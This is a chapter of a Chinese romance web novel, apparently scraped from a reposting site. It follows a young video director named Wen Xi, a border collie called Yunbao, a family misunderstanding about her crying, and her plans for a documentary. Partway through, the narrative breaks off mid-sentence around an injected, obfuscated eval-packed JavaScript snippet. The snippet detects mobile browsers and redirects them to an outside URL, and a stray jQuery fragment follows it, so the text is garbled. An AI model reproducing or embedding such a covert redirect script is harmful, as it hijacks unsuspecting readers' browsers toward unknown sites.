西西不早起 作品

10. 笙笙有禧

“好不好吃?云宝?好吃就点头,你看我,像我这样,点头。哎~好乖好乖,姐姐再奖励你一个。”


“好不好吃啊?云宝——”


“姐姐?”,赵嘉苑像是听到了什么不得了的事情,挑眉,一脸玩味。


赵云笙看了眼来人,轻轻地往后靠,手指一滑,退出微信。


赵嘉苑看他不爽,愈发来劲,调侃道,“你在北京,也麻烦爷爷给你拍狗子啊?”


回想刚刚的女声,她话锋一转,“该不会是,醉翁之意不在酒吧~”


而后笑得愈发张狂……


“……”,赵云笙侧目,“麻烦笑的时候,回避一下当事人。”


“我不,我不。”


看着一如既往幼稚的堂姐,赵云笙无奈摇头,而后淡淡地收回眼。


苏式园林的院中,两人坐在一棵郁郁葱葱的鸡爪槭下,清静悠然。


赵云笙的思绪却胡乱地飘,仿佛飘到不知名处。


头顶的阳光,从枝叶间透下来,雨点大小的光斑在皮肤上停留,带着似有若无的温度。


和发过来的视频中,印在她手上,那一小小的光斑,一般无二。


他闭着眼假寐,微风吹拂而过时,似乎闻到一股淡淡的草本植物的味道。


沉吟片刻,像是想到什么,他忽地开口,“姐,你认识做苏绣的绣娘吗?”


“当然。”,赵嘉苑手里打着游戏,头也没抬,“苏州非常有名的绣娘林秀美是我奶奶的学生。”


气氛沉默……


见他许久没吭气,赵嘉苑斜瞥一眼,“怎么?”


赵云笙:“引荐一下?”


游戏应该是输了,她咒骂一声。


翻出通讯录,“行,我给她打个电话。”


*


闻禧这两日忙的不可开交,虽累却也充实,沉迷在遛狗、撸狗的快乐里,无法自拔。


这事儿最开心的莫过于闻二奶奶,瞧着自家孙女,眼笑眉舒,那几日提着的心才稍稍有所缓解。


水龙头冲刷着手里的菜,她往窗外打探两眼,欣慰道,“难怪都说宠物能治愈人心。奶奶瞧你这两天,心情看着好了不少。”


听到这话,闻禧动作停住。


细数下来,距离和李城争吵那天不过才过去三两天,闻禧却觉得像是发生在很久以前的事。


因此而产生的负面情绪,就这么悄无声息地消散。


顺着奶奶的想法,闻禧莫名产生了一个念头。


养一只宠物似乎也挺好的。


但这想法还未来得及扎根,小小的萌芽已被闻禧底朝天地清理掉。


就她这早出晚归,出外勤是常态,有上顿没下顿的生活状态。


绝对——


绝对是不适合养宠物的!


“闻禧,把中药喝了吧。”,闻禧收回心思,养宠物这件事就这么被扼杀在萌芽状态。


眼前的中药,颜色黑乎乎,隐约间还有些许颗粒沉淀,那股浑厚的中药味直冲鼻腔,闻禧直想打退堂鼓。


屏气凝神,闭眼,视死如归般,一口闷,已然非常熟练的一套流程。


浑身神经在这一刻,像炸毛似的,被刺激得打一激灵。


每次爷爷跟监工似地盯着她喝完,一滴都不给剩。


但她喝了几次,也找到了诀窍。


喝中药必须是一口闷,但凡中间停下来,再喝,那就是酷刑!


云宝很通人性,看到她皱着脸,讨好似的蹭蹭她的小腿。


闻禧觉得它像人似的行为特别逗,便会随手拍下,而后没想太多,习惯使然,给赵云笙发了过去。


但再点开视频,看到自己的小腿,又觉得非常不妥,立马撤回。


这边,赵云笙正在一张大圆桌上和家里人家庭聚餐,那一抹雪白像是刺激到了他的视觉神经,喉间一热,还未反应过来,下一秒,信息已经被撤回。


闻禧也在半分钟后收到他的消息【?】


闻禧想,以刚刚自己的手速,或许他没看到,而后为应付了事,她又随手拍了个云宝在院子里上下乱跑的视频发过去。


这小插曲就这么自然而然地揭了过去。


……


快到六月中旬时,温度会越来越高,生怕云宝中暑,午睡时间,闻禧便带着它上楼。


前脚她刚走,后脚堂姐闻滢就来了,“二奶奶,闻禧呢?”


“楼上呢。”,闻奶奶朝她使了个眼色,在她要上楼以前,拦住去路,欲言又止。


闻滢了然笑笑,“您放心,我都记着呢。”


话落,上楼。


她轻手轻脚地上楼,冷气扑面而来。


听说,原本三楼客厅是没有空调的,闻二爷爷为让闻禧住得舒坦,她回来没两天,闻二爷爷就立刻找人装上了空调。


距离三楼还有两阶,闻滢悄咪咪地探出脑袋。


女孩短袖短裤,全身白皙似雪,粉色的短袖,看着少女又雪白。


模样和上学时没什么两样,虽然她常出外景,但却像是天生晒不黑。


膝上架着笔记本,像在发呆,又像是在思考着什么,格外认真,丝毫未留意她的出现。


那只大边牧蜷缩成一团窝在她边上,时不时扫着大尾巴。


一人一狗,别提多和谐了。


她正要吐槽这狗不行时,那狗立刻警醒,朝她的方向汪汪两声,始终护在闻禧的附近。


下一秒,闻禧就看了过来,她神色怔了一秒,看到是她,笑笑“姐,你怎么来了?”


闻滢扬了扬手里的奶茶,朝她走近。


“过来坐。”,闻禧拍拍身边的位置。


“这狗可真行啊,这才第二天吧,和你混熟了?”,闻滢拿着奶茶,大喇喇往后靠。


目光不经意间掠过电脑屏幕,问她,“这是干嘛呢?”


闻禧平静道,“思考……”


闻滢:“?”


闻禧解释,“想着下一次的更新内容,还未想好要做什么内容。”


“说到这儿,前段时间你给我拍的婚礼跟拍,真好。”,闻滢笑说,“我朋友刷到了,还问我上哪儿请的摄影师。”


闻禧笑,“我也收到不少私信问我价格。”


闻滢来了兴致:“那你有没有想法?”


“没有……”,闻禧想也没想地摇头,“这不是我想做的。”


但到底要做什么,她也没太想好,脑子好像东缠西绕的毛团,乱成一团。


拿着吸管戳破奶茶,喝了一口。


两人盘着腿,舒服得纷纷往后靠。


她怅然道,“我感觉我遇到了瓶颈期。”


顺着这话,闻滢打探,“你最近不开心是因为这事儿?”


“表现得很明显吗?”,闻禧略诧异,表情讷讷:“也没有不开心,只不过是在思考,接下来怎么利用好这两个月的时间罢了。”


如此说来,事情并没有如老人所言的那样严重。


闻滢觉得有些奇怪,也不拐弯抹角了,直截了当地问,“那你为啥哭啊?”


这话给闻禧问懵了,她下意识反问:“我什么时候哭了?”


“就前几天,应该是我婚礼结束后没两天吧,二奶奶撞见你在这儿哭。”,她拍拍沙发的位置,语气一顿,歪着脑袋,提及来意,“还是她特意让我来问你的。”


“啊?”,闻禧茫然,她微皱着眉,似是认真地在回忆起那一日发生的事情。


思绪渐渐往前飘,脑海里蹦出来几个关键字。


——婚礼结束后两天?


——三楼的客厅?


——哭?


闻禧沉默半晌,那日的情形悉数往外涌,她如梦初醒一般,一时间却哭笑不得……


闻禧:“我那是——”


闻禧:“?”


说起这个,还怪难为情的,“我当时正在看你结婚的视频……”


那日,她一个人窝在三楼,闻滢结婚的视频刚剪辑好,然后她给配了个,非常有格调且温馨的bgm。


这不得不说,一旦配上bgm这成片就是大不一样。


剪视频那会儿她没觉得有多大的感触,只觉得这么多素材,眼睛都要瞎了。


但成片一出来,她竟被感动得情难自禁。


三楼几乎是独属于她的个人空间,除了她,平日里也没别人。


谁成想,这一幕,竟被奶奶撞了个正着。


“……”


听到是这么个理由,闻滢神色愣两秒,一阵鹅笑瞬间响彻三楼,正睡觉的云宝被她吓得一激灵。


闻禧也有些羞赧,她耸耸肩,抿着唇,只觉得怪不好意思,“我说呢,这些天,奶奶瞧我那眼神,愁的跟什么似的,我当是遇到什么事儿了。”


闻滢平复了下心情,又重新坐直了身


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148826|164786||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


子,“以咱奶这性格,指不定已经脑补出无数可能了,你信不?”


闻禧笑,“我信!”


闻滢:“没事儿就好,没事儿就好,虚惊一场。”


闻禧瞥她一眼,“回头我说说她去。”


“你也别说太重,她就是担心你。”


“我知道。”


闻滢喝了口奶茶,又将话题扯回来,“不过话说回来,你既想更新,那有没有想过什么选题?我一个外行人,说不定站在观众的角度,能给你点意见。”


“唔……”,闻禧轻咬下唇,思考须臾,“我想拍人!”。


说完,又觉得这个概念有些太宽泛,太宏大。


闻禧换了个方式和她解释,“你知道,虽然《食味》播放量很好,但褒贬不一。”


“这我知道,你和我提到过——两极分化嘛。”,闻滢道,“都说你是最会拍食物的编导,但同时也是最不会拍人物的编导。”


“这些话你看看就好了。”,闻滢安慰她,“你这次给我婚礼,不就拍得很好吗?谁说你拍不好人物,简直胡说八道。”


“婚礼跟拍,毕竟离真正的艺术人文还差点意思,所以也谈不上拍得很好。”,闻禧叹息,但又不像就此认命,“我其实也认可他们说的那样,我不是妄自菲薄,也没觉得那是一种讽刺嫉妒,只觉得有短板就克服,针对性地提高呗。”


闻滢:“你能这么想就行,不要内耗,干它!”


“我列了几个选题。”,闻禧打开文档,“要不你帮我看看?”


“行啊。”


“助农人,乡村教师,留守妇女?”,她食指往屏幕上一点,“我觉得留守妇女这个选题不错。”


“我也是比较倾向于这个,但……”


瞧见她有几分顾虑,闻滢问:“怎么了?”


“要是一家一户地去找拍摄对象,采访对象,这工作量有点大,不晓得两个月能否下的来。”


毕竟就她一个人,即便是后边闻子俊回来,能搭把手,但工作量肯定还是在她自己。


“这好办,我推荐你去一地方试试,咱们镇子上的开发区有几个厂子,那厂子里几乎清一色的女性。”


闻禧若有所思,半晌后,又认可地点了下头。


……


下午,一觉醒来,一道斜阳映在白色纱帘上,周遭是寂静无声的。


恍惚间,闻禧有一种被全世界抛弃的错觉,这突如其来的不适感,让她差点掉眼泪。


果然,人是不可以闲着的,容易出事。


和云宝下楼的时候,奶奶正在石榴树下择菜。


闻禧还惦记着堂姐说的事。


“奶奶,前几天姐姐婚礼跟拍视频,您看了吗?我拍得怎么样?”


“已经发布了吗?我瞅瞅。”


闻禧把手机递过去。


这婚礼成片不长,约莫8分钟,一声“礼成”,宣告影片结束。


奶奶哭红眼,闻禧静静地待在一旁给她递纸。


“闻禧,你拍很感人。奶奶不敢想等你嫁人会是什么样的。”


闻禧失笑,好端端怎么又扯她身上来。


她轻抚着奶奶的背,轻笑出声,“奶奶,你知道我为什么哭了吗?”


闻言,老人表情肉眼可见地一滞,“你是说——”


闻禧好笑地点头。


好半晌,老人像是才反应过来,“奶奶还以为你……”


闻禧哭笑不得,“您呐,以后少胡思乱想。我又不是小朋友,没那么脆弱,有时候只是恰巧看到什么视频,感性哭一哭,发泄发泄,没别的意思。”


闻奶奶握着她的手,这几日的不安全然消散,“闻禧,奶奶只希望你,有事儿别憋着,你还记得医生说的吧,要发泄,不然会憋出病的。”


沉默半晌,闻禧道,“我知道。”


——


夜里,闻禧在社交账号发了一则本地征集信息。


但觉得太过局限,便把地域扩大到整个江州。


如果到时候能遇到合适的拍摄人选,等闻子俊回来,大可以不用太顾忌距离的问题而错失良机。


征集信息发出去两天,私信很安静。


趁这时间里,闻禧也没闲着,她将要采访的选题内容写好,采访的问题列好。


等赵云笙回程,她便可以先去前采,开了个头,有了方向,眼下倒安心不少。